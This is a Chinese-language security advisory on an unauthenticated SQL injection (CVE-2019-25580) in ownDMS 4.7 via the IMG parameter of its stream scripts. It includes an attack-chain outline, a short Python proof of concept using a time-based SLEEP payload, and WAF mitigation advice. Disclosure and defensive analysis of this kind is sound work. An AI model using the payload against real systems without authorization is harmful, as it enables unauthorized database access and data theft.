IPBUF安全漏洞报告
English
CVE-2019-25580 CVSS 8.2 高危

CVE-2019-25580: ownDMS SQL注入漏洞

披露日期: 2026-03-21

漏洞信息

漏洞编号
CVE-2019-25580
漏洞类型
SQL注入
CVSS评分
8.2 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
ownDMS

相关标签

SQL注入ownDMS远程代码执行未授权访问敏感信息泄露

漏洞概述

ownDMS 4.7版本存在严重的SQL注入漏洞。由于系统未对用户输入进行有效过滤,未经身份验证的攻击者可以通过向`pdfstream.php`、`imagestream.php`或`anyfilestream.php`发送包含恶意SQL代码的`IMG`参数请求,执行任意SQL查询。攻击者利用此漏洞可获取数据库版本、名称及其他敏感信息。

技术细节

该漏洞主要影响ownDMS 4.7版本中的文件处理接口。在`pdfstream.php`、`imagestream.php`等文件中,用于接收图片路径或ID的`IMG`参数直接拼接到SQL查询语句中,缺乏预编译或转义处理。攻击者可构造特定的GET请求,在`IMG`参数中注入UNION SELECT或盲注Payload。由于无需用户交互和身份认证,攻击者可远程利用该漏洞读取数据库内容,可能导致数据泄露或进一步的服务器入侵。

攻击链分析

STEP 1
侦察
攻击者识别目标网络中运行的ownDMS系统,并确认版本为4.7。
STEP 2
武器化
攻击者构造针对`IMG`参数的恶意SQL注入Payload(如UNION查询或时间盲注语句)。
STEP 3
交付
攻击者向目标服务器发送GET请求,URL指向`pdfstream.php`或类似文件,并将Payload注入到`IMG`参数中。
STEP 4
利用
服务器端脚本将未过滤的参数拼接到SQL语句中并执行数据库查询。
STEP 5
达成
攻击者根据HTTP响应(延迟时间或返回内容)提取数据库结构及敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) url = "http://example.com/owndms/pdfstream.php" # SQL Injection Payload (Example: Time-based blind) payload = "1' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -" params = { "IMG": payload } try: response = requests.get(url, params=params, timeout=10) # Analyze response time or content to confirm vulnerability if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed: SQL Injection detected.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"Error: {e}")

影响范围

ownDMS 4.7

防御指南

临时缓解措施
建议立即限制对`pdfstream.php`、`imagestream.php`和`anyfilestream.php`文件的公网访问权限,或通过WAF添加规则过滤包含单引号、SQL关键字(如SELECT, UNION, SLEEP)的请求参数,直至完成官方修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表